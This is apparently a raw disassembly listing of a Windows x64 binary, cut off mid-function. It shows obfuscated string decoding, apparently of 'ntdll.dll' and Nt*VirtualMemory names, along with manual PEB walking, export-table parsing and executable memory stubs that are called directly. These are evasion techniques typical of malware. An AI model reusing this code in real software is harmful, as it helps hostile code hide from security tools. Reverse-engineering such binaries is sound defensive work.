mov dl, WSAStartup
lea rcx, [rbp + 0x6c8]
call fcn.140035ed8
mov byte [rbp + 0x6d1], al
mov r9, r12
mov r8d, 9
mov dl, 0x53
lea rcx, [rbp + 0x6c8]
call fcn.140035ed8
mov byte [rbp + 0x6d2], al
mov r9, r12
mov r8d, 0xa
mov dl, 0x69
lea rcx, [rbp + 0x6c8]
call fcn.140035ed8
mov byte [rbp + 0x6d3], al
mov r9, r12
mov r8d, ntohs
mov dl, WSAGetLastError
lea rcx, [rbp + 0x6c8]
call fcn.140035ed8
mov byte [rbp + 0x6d4], al
mov r9, r12
mov r8d, ntohs
mov dl, 0x67
lea rcx, [rbp + 0x6c8]
call fcn.140035ed8
mov byte [rbp + 0x6d5], al
mov r9, r12
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x6c8]
call fcn.140035ed8
mov byte [rbp + 0x6d6], al
mov r9, r12
mov r8d, select
mov dl, 0x65
lea rcx, [rbp + 0x6c8]
call fcn.140035ed8
mov byte [rbp + 0x6d7], al
mov r9, r12
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x6c8]
call fcn.140035ed8
mov byte [rbp + 0x6d8], al
mov r9, r12
mov r8, r13
mov dl, 0x62
lea rcx, [rbp + 0x6c8]
call fcn.140035ed8
mov byte [rbp + 0x6d9], al
mov r9, r12
mov r8, rbx
mov dl, 0x6a
lea rcx, [rbp + 0x6c8]
call fcn.140035ed8
mov byte [rbp + 0x6da], al
mov r9, r12
mov r8d, reloc.WS2_32.dll_select
mov dl, 0x65
lea rcx, [rbp + 0x6c8]
call fcn.140035ed8
mov byte [rbp + 0x6db], al
mov r9, r12
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x63
lea rcx, [rbp + 0x6c8]
call fcn.140035ed8
mov byte [rbp + 0x6dc], al
mov r9, r12
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6c8]
call fcn.140035ed8
mov byte [rbp + 0x6dd], al
xor eax, eax
mov byte [rbp + 0x6de], al
mov esi, eax
lea ebx, [rax + 1]
mov r9, r12
mov r8, rsi
mov dl, byte [rbp + rsi + 0x6c9]
lea rcx, [rbp + 0x6c8]
call fcn.140035ed8
mov byte [rbp + rsi + 0x6c9], al
add rsi, rbx
cmp rsi, r12
jb 0x14002a4d0
mov ebx, reloc.WS2_32.dll_recvfrom
lea esi, [rbx + 3]
xor r14d, r14d
mov byte [rbp + 0x6de], r14b
mov byte [rbp + 0x48], reloc.WLDAP32.dll_Ordinal_22
lea r12d, [rbx - 8]
mov r9d, r12d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x48]
call fcn.140035cf8
mov byte [rbp + 0x49], al
mov r9d, r12d
lea r12d, [rbx - 0x10]
mov r8d, r12d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x48]
call fcn.140035cf8
mov byte [rbp + 0x4a], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xf]
mov dl, 0x64
lea rcx, [rbp + 0x48]
call fcn.140035cf8
mov byte [rbp + 0x4b], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xe]
mov dl, 0x6c
lea rcx, [rbp + 0x48]
call fcn.140035cf8
mov byte [rbp + 0x4c], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0x48]
call fcn.140035cf8
mov byte [rbp + 0x4d], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xc]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x48]
call fcn.140035cf8
mov byte [rbp + 0x4e], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xb]
mov dl, 0x64
lea rcx, [rbp + 0x48]
call fcn.140035cf8
mov byte [rbp + 0x4f], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xa]
mov dl, 0x6c
lea rcx, [rbp + 0x48]
call fcn.140035cf8
mov byte [rbp + 0x50], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 9]
mov dl, 0x6c
lea rcx, [rbp + 0x48]
call fcn.140035cf8
mov byte [rbp + 0x51], al
xor eax, eax
mov byte [rbp + 0x52], al
mov r9d, 9
mov r8, r14
mov dl, byte [rbp + r14 + 0x49]
lea rcx, [rbp + 0x48]
call fcn.140035cf8
mov byte [rbp + r14 + 0x49], al
add r14, r12
cmp r14, 9
jb 0x14002a5dd
xor ecx, ecx
mov byte [rbp + 0x52], cl
mov rax, qword gs:[0x60]
test rax, rax
je 0x14002a963
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x80], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r9, rax
mov qword [rbp - 0x60], rax
xor ecx, ecx
mov r8d, ecx
movsxd r10, dword [rsp + 0x60]
test r10d, r10d
jle 0x14002a6b0
lea r13d, [rcx + 1]
mov r11d, r13d
mov rdx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x68]
mov ecx, r11d
cmp word [rsi + r8*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rsi + r8*2]
mov byte [r9 + r8], al
add r11d, r13d
add r8, r13
cmp r8, r10
jl 0x14002a679
mov esi, reloc.WS2_32.dll_sendto
lea r15d, [rsi + 0xc]
lea r13d, [rsi - 4]
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x70], rdx
sub r10d, edi
movsxd rdi, r10d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bc500
mov rcx, qword [rbp - 0x60]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x14002a709
mov rax, rcx
lea r9, [rbp + 0x49]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002a702
add rax, r11
test edx, edx
jne 0x14002a6ed
test r8d, r8d
cmove edi, r11d
call fcn.140094cf0
test dil, dil
jne 0x14002a72d
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
mov qword [rbp - 0x80], rax
cmp rax, qword [rbp - 0x70]
jne 0x14002a629
jmp 0x14002a95e
mov rcx, qword [rbp - 0x80]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x14002a95e
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002a95e
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002a95e
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002a95e
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x70], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x14002a95e
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x6c9]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002a7bf
inc rax
test edi, edi
jne 0x14002a7aa
xor edi, edi
test r8d, r8d
je 0x14002a7d4
inc rdx
cmp rdx, qword [rbp - 0x60]
jb 0x14002a799
jmp 0x14002a95e
mov rax, qword [rbp - 0x70]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002a95e
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x14002a95e
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x80], rax
call fcn.140094c90
or dword [rbp + 0x1e574], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x1d1f0]
call fcn.140036bc4
lea rcx, [rbp + 0x1d1f0]
call fcn.1400365dc
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x60], r8
xor eax, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0x1d1f0]
call fcn.1400365dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x37490], rax
add rdi, rbx
cmp rdi, 0x200
jl 0x14002a877
mov ebx, reloc.WS2_32.dll_recvfrom
mov rdi, qword [rbp - 0x80]
mov r8d, 0x1000
lea rdx, [rbp + 0x37490]
mov rcx, rdi
call fcn.1400bc500
mov eax, dword [rsp + 0x60]
mov dword [0x1400e8364], eax
add rdi, qword [rbp - 0x60]
movsd xmm0, qword [0x1400e8360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8368]
mov word [rdi + 8], ax
mov al, byte [0x1400e836a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe20], eax
lea r9, [rbp + 0xe20]
mov r8d, r15d
mov edx, 0x1000
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x218]
call rdi
lea r9, [rbp + 0xe20]
mov r8d, dword [rbp + 0xe20]
mov edx, 0x1000
mov rdi, qword [rbp - 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400bcba0
lea edx, [rbx - 6]
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400e8364], eax
mov rdi, qword [rsp + 0x70]
xor r14d, r14d
mov qword [rbp + 0xed0], r14
mov byte [rbp + 0x4a0], Ordinal_32
lea r9d, [r14 + 0x13]
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x4a0]
call fcn.140036564
mov byte [rbp + 0x4a1], al
lea r9d, [r14 + 0x13]
lea r8d, [r14 + 1]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4a0]
call fcn.140036564
mov byte [rbp + 0x4a2], al
lea r9d, [r14 + 0x13]
lea r8d, [r14 + 2]
mov dl, 0x52
lea rcx, [rbp + 0x4a0]
call fcn.140036564
mov byte [rbp + 0x4a3], al
lea r9d, [r14 + 0x13]
lea r8d, [r14 + 3]
mov dl, 0x65
lea rcx, [rbp + 0x4a0]
call fcn.140036564
mov byte [rbp + 0x4a4], al
lea r9d, [r14 + 0x13]
lea r8d, [r14 + 4]
mov dl, 0x61
lea rcx, [rbp + 0x4a0]
call fcn.140036564
mov byte [rbp + 0x4a5], al
lea r9d, [r14 + 0x13]
lea r8d, [r14 + 5]
mov dl, 0x64
lea rcx, [rbp + 0x4a0]
call fcn.140036564
mov byte [rbp + 0x4a6], al
lea r9d, [r14 + 0x13]
lea r8d, [r14 + 6]
mov dl, 0x56
lea rcx, [rbp + 0x4a0]
call fcn.140036564
mov byte [rbp + 0x4a7], al
lea r9d, [r14 + 0x13]
lea r8d, [r14 + 7]
mov dl, 0x69
lea rcx, [rbp + 0x4a0]
call fcn.140036564
mov byte [rbp + 0x4a8], al
lea r9d, [r14 + 0x13]
lea r8d, [r14 + 8]
mov dl, WSAStartup
lea rcx, [rbp + 0x4a0]
call fcn.140036564
mov byte [rbp + 0x4a9], al
lea r9d, [r14 + 0x13]
lea r8d, [r14 + 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4a0]
call fcn.140036564
mov byte [rbp + 0x4aa], al
lea r9d, [r14 + 0x13]
lea r8d, [r14 + 0xa]
mov dl, 0x75
lea rcx, [rbp + 0x4a0]
call fcn.140036564
mov byte [rbp + 0x4ab], al
lea r9d, [r14 + 0x13]
lea r8d, [r14 + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x4a0]
call fcn.140036564
mov byte [rbp + 0x4ac], al
lea r9d, [r14 + 0x13]
lea r8d, [r14 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x4a0]
call fcn.140036564
mov byte [rbp + 0x4ad], al
lea r9d, [r14 + 0x13]
lea r8d, [r14 + 0xd]
mov dl, 0x4d
lea rcx, [rbp + 0x4a0]
call fcn.140036564
mov byte [rbp + 0x4ae], al
lea r9d, [r14 + 0x13]
lea r8d, [r14 + 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x4a0]
call fcn.140036564
mov byte [rbp + 0x4af], al
lea r9d, [r14 + 0x13]
lea r8d, [r14 + 0xf]
mov dl, 0x6d
lea rcx, [rbp + 0x4a0]
call fcn.140036564
mov byte [rbp + 0x4b0], al
lea r9d, [r14 + 0x13]
mov r8, r13
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x4a0]
call fcn.140036564
mov byte [rbp + 0x4b1], al
lea r9d, [r14 + 0x13]
mov r8, rbx
mov dl, WSAStartup
lea rcx, [rbp + 0x4a0]
call fcn.140036564
mov byte [rbp + 0x4b2], al
lea r9d, [r14 + 0x13]
lea r8d, [r14 + 0x12]
mov dl, 0x79
lea rcx, [rbp + 0x4a0]
call fcn.140036564
mov byte [rbp + 0x4b3], al
xor eax, eax
mov byte [rbp + 0x4b4], al
lea ebx, [rax + 1]
mov r9d, reloc.WS2_32.dll_send
mov r8, r14
mov dl, byte [rbp + r14 + 0x4a1]
lea rcx, [rbp + 0x4a0]
call fcn.140036564
mov byte [rbp + r14 + 0x4a1], al
add r14, rbx
cmp r14, 0x13
jb 0x14002ab90
mov ebx, reloc.WS2_32.dll_recvfrom
lea r14d, [rbx + 6]
xor r12d, r12d
mov byte [rbp + 0x4b4], r12b
mov byte [rbp + 0xc8], r15b
lea r13d, [rbx - 8]
mov r9d, r13d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0xc8]
call fcn.140035cf8
mov byte [rbp + 0xc9], al
mov r9d, r13d
lea r13d, [rbx - 0x10]
mov r8d, r13d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xc8]
call fcn.140035cf8
mov byte [rbp + 0xca], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xf]
mov dl, 0x64
lea rcx, [rbp + 0xc8]
call fcn.140035cf8
mov byte [rbp + 0xcb], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xe]
mov dl, 0x6c
lea rcx, [rbp + 0xc8]
call fcn.140035cf8
mov byte [rbp + 0xcc], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0xc8]
call fcn.140035cf8
mov byte [rbp + 0xcd], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xc]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xc8]
call fcn.140035cf8
mov byte [rbp + 0xce], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xb]
mov dl, 0x64
lea rcx, [rbp + 0xc8]
call fcn.140035cf8
mov byte [rbp + 0xcf], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xa]
mov dl, 0x6c
lea rcx, [rbp + 0xc8]
call fcn.140035cf8
mov byte [rbp + 0xd0], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 9]
mov dl, 0x6c
lea rcx, [rbp + 0xc8]
call fcn.140035cf8
mov byte [rbp + 0xd1], al
xor eax, eax
mov byte [rbp + 0xd2], al
mov r9d, 9
mov r8, r12
mov dl, byte [rbp + r12 + 0xc9]
lea rcx, [rbp + 0xc8]
call fcn.140035cf8
mov byte [rbp + r12 + 0xc9], al
add r12, r13
cmp r12, 9
jb 0x14002ace0
xor ecx, ecx
lea r13d, [rcx + 0x10]
mov byte [rbp + 0xd2], cl
mov rax, qword gs:[0x60]
test rax, rax
je 0x14002b090
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x80], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r9, rax
mov qword [rbp - 0x60], rax
xor ecx, ecx
mov r8d, ecx
movsxd r10, dword [rsp + 0x60]
test r10d, r10d
jle 0x14002adbf
lea r14d, [rcx + 1]
mov r11d, r14d
mov rdx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x68]
mov ecx, r11d
cmp word [rsi + r8*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rsi + r8*2]
mov byte [r9 + r8], al
add r11d, r14d
add r8, r14
cmp r8, r10
jl 0x14002ad8c
mov esi, reloc.WS2_32.dll_sendto
lea r14d, [rsi + 3]
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x70], rdx
sub r10d, edi
movsxd rdi, r10d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bc500
mov rcx, qword [rbp - 0x60]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x14002ae1b
mov rax, rcx
lea r9, [rbp + 0xc9]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002ae14
add rax, r11
test edx, edx
jne 0x14002adff
test r8d, r8d
cmove edi, r11d
call fcn.140094cf0
test dil, dil
jne 0x14002ae3f
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
mov qword [rbp - 0x80], rax
cmp rax, qword [rbp - 0x70]
jne 0x14002ad3c
jmp 0x14002b08b
mov rcx, qword [rbp - 0x80]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x14002b08b
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002b08b
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002b08b
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002b08b
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x70], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x14002b08b
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x4a1]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002aed1
inc rax
test edi, edi
jne 0x14002aebc
xor edi, edi
test r8d, r8d
je 0x14002aee6
inc rdx
cmp rdx, qword [rbp - 0x60]
jb 0x14002aeab
mov rax, qword [rbp - 0x70]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002b08b
mov rdi, qword [rsp + 0x70]
mov rax, qword [rbp + 0xed0]
mov rcx, qword [rbp + 0xbd8]
mov qword [rcx], rax
lea rcx, [rbp + 0xf60]
call fcn.140036920
xor ecx, ecx
mov rax, qword [rbp + 0xbd8]
add rax, 8
mov qword [rbp + 0xbd8], rax
cmp qword [rax], rcx
jne 0x140027e0f
mov ecx, 0x1000
mov qword [rbp + 0xcf0], rcx
mov rax, qword [rbp + 0xbd0]
mov qword [rbp + 0xd00], rax
call fcn.140094f74
mov qword [rbp - 0x80], rax
mov r8, qword [rbp + 0xcf0]
xor edx, edx
mov rcx, rax
call fcn.1400bcba0
mov rax, qword [rbp + 0xcf0]
mov qword [rbp + 0x218], rax
mov rax, qword [rbp + 0xd00]
mov qword [rbp + 0xbd0], rax
mov edi, 3
mov byte [rbp + 0x5a8], dil
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x5a8]
call fcn.1400364e8
mov byte [rbp + 0x5a9], al
mov r9, rsi
lea r8d, [rdi - 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5a8]
call fcn.1400364e8
mov byte [rbp + 0x5aa], al
mov r9, rsi
lea r8d, [rdi - 1]
mov dl, 0x57
lea rcx, [rbp + 0x5a8]
call fcn.1400364e8
mov byte [rbp + 0x5ab], al
mov r9, rsi
mov r8d, edi
mov dl, WSAStartup
lea rcx, [rbp + 0x5a8]
call fcn.1400364e8
mov byte [rbp + 0x5ac], al
mov r9, rsi
lea r8d, [rdi + 1]
mov dl, 0x69
lea rcx, [rbp + 0x5a8]
call fcn.1400364e8
mov byte [rbp + 0x5ad], al
mov r9, rsi
lea r8d, [rdi + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5a8]
call fcn.1400364e8
mov byte [rbp + 0x5ae], al
mov r9, rsi
lea r8d, [rdi + 3]
mov dl, 0x65
lea rcx, [rbp + 0x5a8]
call fcn.1400364e8
mov byte [rbp + 0x5af], al
mov r9, rsi
lea r8d, [rdi + 4]
mov dl, 0x56
lea rcx, [rbp + 0x5a8]
call fcn.1400364e8
mov byte [rbp + 0x5b0], al
mov r9, rsi
lea r8d, [rdi + 5]
mov dl, 0x69
lea rcx, [rbp + 0x5a8]
call fcn.1400364e8
mov byte [rbp + 0x5b1], al
mov r9, rsi
lea r8d, [rdi + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x5a8]
call fcn.1400364e8
mov byte [rbp + 0x5b2], al
mov r9, rsi
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5a8]
call fcn.1400364e8
mov byte [rbp + 0x5b3], al
mov r9, rsi
lea r8d, [rdi + 8]
mov dl, 0x75
lea rcx, [rbp + 0x5a8]
call fcn.1400364e8
mov byte [rbp + 0x5b4], al
mov r9, rsi
lea r8d, [rdi + 9]
mov dl, 0x61
lea rcx, [rbp + 0x5a8]
call fcn.1400364e8
mov byte [rbp + 0x5b5], al
mov r9, rsi
lea r8d, [rdi + 0xa]
mov dl, 0x6c
lea rcx, [rbp + 0x5a8]
call fcn.1400364e8
mov byte [rbp + 0x5b6], al
mov r9, rsi
lea r8d, [rdi + 0xb]
mov dl, 0x4d
lea rcx, [rbp + 0x5a8]
call fcn.1400364e8
mov byte [rbp + 0x5b7], al
mov r9, rsi
lea r8d, [rdi + 0xc]
mov dl, 0x65
lea rcx, [rbp + 0x5a8]
call fcn.1400364e8
mov byte [rbp + 0x5b8], al
mov r9, rsi
mov r8, r13
mov dl, 0x6d
lea rcx, [rbp + 0x5a8]
call fcn.1400364e8
mov byte [rbp + 0x5b9], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x5a8]
call fcn.1400364e8
mov byte [rbp + 0x5ba], al
mov r9, rsi
lea r8d, [rdi + 0xf]
mov dl, WSAStartup
lea rcx, [rbp + 0x5a8]
call fcn.1400364e8
mov byte [rbp + 0x5bb], al
mov r9, rsi
lea r8d, [rdi + 0x10]
mov dl, 0x79
lea rcx, [rbp + 0x5a8]
call fcn.1400364e8
mov byte [rbp + 0x5bc], al
xor eax, eax
mov byte [rbp + 0x5bd], al
mov edi, eax
lea ebx, [rax + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x5a9]
lea rcx, [rbp + 0x5a8]
call fcn.1400364e8
mov byte [rbp + rdi + 0x5a9], al
add rdi, rbx
cmp rdi, rsi
jb 0x14002b34b
xor edi, edi
mov byte [rbp + 0x5bd], dil
mov byte [rbp + 0x118], 0x78
lea ebx, [rdi + 9]
mov r9d, ebx
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x118]
call fcn.140035cf8
mov byte [rbp + 0x119], al
mov r9d, ebx
lea r13d, [rdi + 1]
mov r8d, r13d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x118]
call fcn.140035cf8
mov byte [rbp + 0x11a], al
mov r9d, ebx
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x118]
call fcn.140035cf8
mov byte [rbp + 0x11b], al
mov r9d, ebx
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x118]
call fcn.140035cf8
mov byte [rbp + 0x11c], al
mov r9d, ebx
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x118]
call fcn.140035cf8
mov byte [rbp + 0x11d], al
mov r9d, ebx
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x118]
call fcn.140035cf8
mov byte [rbp + 0x11e], al
mov r9d, ebx
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x118]
call fcn.140035cf8
mov byte [rbp + 0x11f], al
mov r9d, ebx
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x118]
call fcn.140035cf8
mov byte [rbp + 0x120], al
mov r9d, ebx
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x118]
call fcn.140035cf8
mov byte [rbp + 0x121], al
xor eax, eax
mov byte [rbp + 0x122], al
lea ebx, [rdi + 0x11]
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x119]
lea rcx, [rbp + 0x118]
call fcn.140035cf8
mov byte [rbp + rdi + 0x119], al
add rdi, r13
cmp rdi, 9
jb 0x14002b486
xor r9d, r9d
mov byte [rbp + 0x122], r9b
mov rax, qword gs:[0x60]
test rax, rax
lea r13d, [r9 + 0x10]
je 0x14002b5db
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r9, rax
mov qword [rbp - 0x60], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x14002b559
lea esi, [rax + 1]
mov r10d, esi
mov r14, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r14 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r14 + rdx*2]
mov byte [r9 + rdx], al
add r10d, esi
add rdx, rsi
cmp rdx, r8
jl 0x14002b52b
mov esi, reloc.WS2_32.dll_sendto
lea r14d, [rsi + 3]
mov dword [rsp + 0x78], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bc500
mov rcx, qword [rbp - 0x60]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x14002b5b5
mov rax, rcx
lea r9, [rbp + 0x119]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002b5ae
add rax, r11
test edx, edx
jne 0x14002b599
test r8d, r8d
cmove edi, r11d
call fcn.140094cf0
xor r9d, r9d
test dil, dil
jne 0x14002baa3
mov rax, qword [rbp - 0x78]
mov rax, qword [rax]
mov qword [rbp - 0x78], rax
cmp rax, qword [rbp - 0x70]
jne 0x14002b4e2
mov dword [rbp - 0x68], r9d
mov rcx, qword [rbp - 0x80]
call fcn.140094cf0
xor eax, eax
lea edi, [rax + 0x13]
cmp dword [rbp - 0x68], eax
jl 0x14002bf2c
mov byte [rbp + 0x488], 0x56
mov r9d, edi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x488]
call fcn.140036564
mov byte [rbp + 0x489], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x488]
call fcn.140036564
mov byte [rbp + 0x48a], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, 0x46
lea rcx, [rbp + 0x488]
call fcn.140036564
mov byte [rbp + 0x48b], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, WSAStartup
lea rcx, [rbp + 0x488]
call fcn.140036564
mov byte [rbp + 0x48c], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x488]
call fcn.140036564
mov byte [rbp + 0x48d], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x488]
call fcn.140036564
mov byte [rbp + 0x48e], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, 0x56
lea rcx, [rbp + 0x488]
call fcn.140036564
mov byte [rbp + 0x48f], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, 0x69
lea rcx, [rbp + 0x488]
call fcn.140036564
mov byte [rbp + 0x490], al
mov r9d, edi
lea r8d, [rdi - 0xb]
mov dl, WSAStartup
lea rcx, [rbp + 0x488]
call fcn.140036564
mov byte [rbp + 0x491], al
mov r9d, edi
lea r8d, [rdi - 0xa]
